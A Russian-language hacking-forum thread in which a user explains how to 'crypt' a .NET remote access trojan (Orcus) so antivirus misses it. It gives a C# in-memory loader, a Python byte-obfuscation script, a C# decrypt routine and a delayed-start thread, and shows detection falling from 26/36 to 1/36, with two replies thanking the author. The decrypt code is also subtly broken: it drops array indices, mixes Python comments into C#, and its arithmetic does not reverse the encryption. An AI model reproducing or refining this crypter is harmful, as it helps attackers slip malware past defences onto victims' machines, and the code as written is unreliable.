Криптуем .NET приложение(Слито)

Тема в разделе "От души", создана пользователем quick0, 8 ноя 2017.

  1. quick0

    quick0

    Сообщения:
    42
    Баллы:
    6
    Материалы:
    Visual Studio 2015
    Python 3.5
    Семпл .Net вируса
    2 руки


    Приступим:

    Открываем Visual Studio и создаем Visual C# проект (console application). Далее заходим в вкладку свойств и переключаемся на Приложение Windows. Далее заходим в ресурсы, добавляем сторонний файл (выбранный .net семпл).
    В методе
    main прописываем:

    Код:
    Assembly a = Assembly.Load(Properties.Resources.sample);
    MethodInfo m = a.EntryPoint;
    m.Invoke(a.CreateInstance(m.Name), new string[0]);
    Где sample - имя вашего файла.
    Я брал билд ратника Orcus и его изначальный детект был - http://viruscheckmate.com/id/5ZpbVs6RPFo2 (26/36)

    Далее выставляем сборку на
    Release и собираем проект. Полученный файл чекаем на детект:
    VirusCheckMate | Online virus scanner (
    9/36). Тремя строчками избавились от 17 детектов, но все равно это слишком много.

    Основное палево происходит по сигнатурам файла, который лежит в ресурсах (ратник), т.к. байты ничем не зашифрованы и файл ничем не накрыт.
    Соответственно, нам надо каким-то образом сокрыть эти сигнатуры и воткнуть файл в память пока антивирус ничего не понял.
    Для этого создаем Python-скрипт, который будет шифровать наш файл в ресурсах:

    Код:
    import os
    def encrypt():
    with open('run.exe', 'rb') as f:
    arr = f.read()
    with open('encrypted.txt', 'w') as w:
    arr2 = []
    for i in arr:
    if i % 2:
    arr2.append(int(i) - 25) # Абсолютно любая цифра
    else:
    arr2.append(int(i) + 15) # Абсолютно любая цифра
    for i in arr2:
    w.write(str(i) + " ")
    encrypt()
    Где run.exe - имя вашего .Net семпла
    Запоминаем цифры которые прописали в скрипте и запускаем его. Рядом со скриптом создастся текстовый файл с зашифрованными байтами в нем. Добавляем его в ресурсы проекта, предварительно удалив старый.
    Далее очищаем метод main и внизу создаем отдельный метод дешифровки байтов


    Код:
    public static byte[] decrypt()
    {
    string enc = Properties.Resources.encrypted;
    string[] bytes = enc.Split(' ');
    byte[] decrypted = new byte[bytes.Length - 1];
    for (int i = 0; i < bytes.Length - 1; i++)
    {
    int curr = Convert.ToInt32(bytes);
    if (curr % 2 == 0)
    decrypted = Convert.ToByte(curr + 25); # Цифра из скрипта
    else
    decrypted = Convert.ToByte(curr - 15); # Цифра из скрипта
    }
    return decrypted;
    }
    Устанавливаем цифры которые вставили в скрипте и дешифровка готова.
    Далее это дело нужно как-то запускать. Для этого напишем еще один метод:

    Код:
    public static void run()
    {
    Assembly a = Assembly.Load(decrypt());
    MethodInfo m = a.EntryPoint;
    m.Invoke(a.CreateInstance(m.Name), new string[0]);
    }
    А в методе main пропишем запуск потока с рандомной задержкой:
    Код:
    static void Main(string[] args)
    {

    Thread.Sleep(new Random().Next(1, 35) * 1000);
    new Thread(run).Start();

    }
    Собираем проект, и получаем следующий результат - VirusCheckMate | Online virus scanner (1/36)
    Билд вполне рабочий. Для красоты можно сверху накрыть темидой чтоб детект держался минимальным, но это не обязательно.

    Исходник : Materials.rar
  2. Qubiq

    Qubiq

    Сообщения:
    2
    Баллы:
    1
    Спасибо, будем пробовать, очень блоагодрен за статьи такого рода)
  3. DanyBrah

    DanyBrah

    Сообщения:
    8
    Баллы:
    1
    Спасибо,опробую

Поделиться этой страницей